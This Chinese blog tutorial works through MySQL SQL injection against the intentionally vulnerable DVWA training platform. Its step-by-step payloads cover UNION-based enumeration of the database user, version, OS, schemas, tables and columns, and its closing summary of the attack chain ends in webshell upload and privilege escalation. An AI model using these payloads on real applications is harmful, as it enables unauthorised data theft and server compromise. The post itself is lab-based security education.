zoukankan      html  css  js  c++  java
  • SQL注入之DVWA平台测试mysql注入

    今天主要针对mysql常用注入语句进行测试。

    测试环境与工具:

    测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-table2虚拟机,里面已经部署好了dvwa.。

    渗透工具:burpsuite-1.4.07下载地址:http://down.51cto.com/data/875103

        首先我们介绍下DVWA和Burpsuite,DVWA这是一个php+mysql平台构建的预置web常见漏洞的渗透练习平台。能够帮助web应用安全研究人员很好了解web漏洞。Burpsuite是一款功能强大的web渗透测试工具。 

        SQL注入漏洞在OWASP TOP 10威胁中,一直排名第一,安全威胁可见一斑。SQL注入渗透测试过程中,针对不同的数据库平台,注入语句选择也不同,本篇笔者主要测试mysql注入的常用语句以及渗透思路。

    登录访问DVWA,默认用户名:admin密码:password.

    登录之后,将 dvwa 的安全级别调成 low,low 代表安全级别最低,存在较容易测试的漏洞

    1、找到 SQl Injection  选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的 SQL 注入漏洞存在的地方。 正常测试,输入 1 ,可以得到如下结果

    当将输入变为“'”时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,
    结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。

    2、尝试遍历数据库表,由于用户输入的值为 ID ,因此我们习惯判断这里的注入类型为数字型,因此尝试输入: 1 or 1=1  ,

     看能否把数据库表中的内容遍历出来。可是结果如下,并没有显示出所有信息


    于是猜测,是否后台应用程序将此值看做了字符型,于是输入: 1'or'1'='1 , 结果,遍历出了数据库中的所有内容,

    如果是重要数据库表,可能这个信息已经对于攻击者,有了足够意义:如图

    1'or'1'='1

    3、测试查询信息列数。利用语句 order by num 

    这里我们输入  "  1'order by 1 --  " 结果页面正常显示,注意-- 后面有空格。继续测试, "  1'order by 2 --  ", "  1'order by 3 --  ", 

    当输入3是,页面报错。页面错误信息如下, Unknown column '3' in 'order clause',由此我们判断查询结果值为2列。

    1'order by 1 --

    1'order by 3 --

    Unknown column '3' in 'order clause'

    4、通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。

    这里尝试注入 “ 1' and 1=2 union select 1,2 --  ”结果如下

    1' and 1=2 union select 1,2 -- 

    从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,

    利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:

    1' and 1=2 union select user(),database()  -- 

    连接数据库的用户为 root@localhost ,数据库名称为dvwa,进一步利用函数version(),尝试得到版本信息,

     “ 1' and 1=2 union select version(),database()  --  ”便得到了版本信息,

    1' and 1=2 union select version(),database()  -- 

    5、获得操作系统信息。

    1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

    6、测试连接数据库权限:

    1' and ord(mid(user(),1,1))=114 --
    返回正常说明为root

    7、查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。

    1' and 1=2 union select 1,schema_name from information_schema.schemata --

    8、猜解dvwa数据库中的表名。利用1‘ and exists(select * from 表名),此处表名猜解可以通过brupsuit挂字典猜解。这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。

    1' and exists(select * from users) --

    9、猜解字段名:1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name,last_name

    1' and exists(select first_name from users) --
    ID: 1' and exists(select last_name from users) --

    10、爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users --  ,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。

    以上是笔者根据dvwa平台sql injection漏洞对mysql常用语句所做的测试。这里我们可以大致总结渗透的一般思路:

    1、寻找注入点,可以通过web扫描工具实现

    2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

    3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

    4、可以通过获得的用户信息,寻找后台登录。

    5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

    今天笔者只在dvwa平台现有环境下,简单测试了mysql几个常用注入语句:

    1' order by 2 --   /*用来猜解查询信息的列数

    1' and 1=2 union select user(),database(),-- 

    1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息

    1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 --  /*测试连接数据库用户权限

    1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名

    1' and exists(select first_name from users) -- /猜解字段名

    1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容

  • 相关阅读:
    vue 父子传值 子组件修改父组件的值
    高德 定位到所在城市
    地图 JS API v2. vue 海量点标记
    vue-amap的使用
    react 和 vue 的比较
    接口自动化之pytest(3)——用例执行顺序插件pytest_ordering
    接口自动化之pytest(2)——用例设计原则及执行顺序
    接口自动化之pytest(1)——pytest相对unittest的优势
    python 装饰器(一)
    python 异常捕获、抛出异常
  • 原文地址:https://www.cnblogs.com/saryli/p/5883915.html
Copyright © 2011-2022 走看看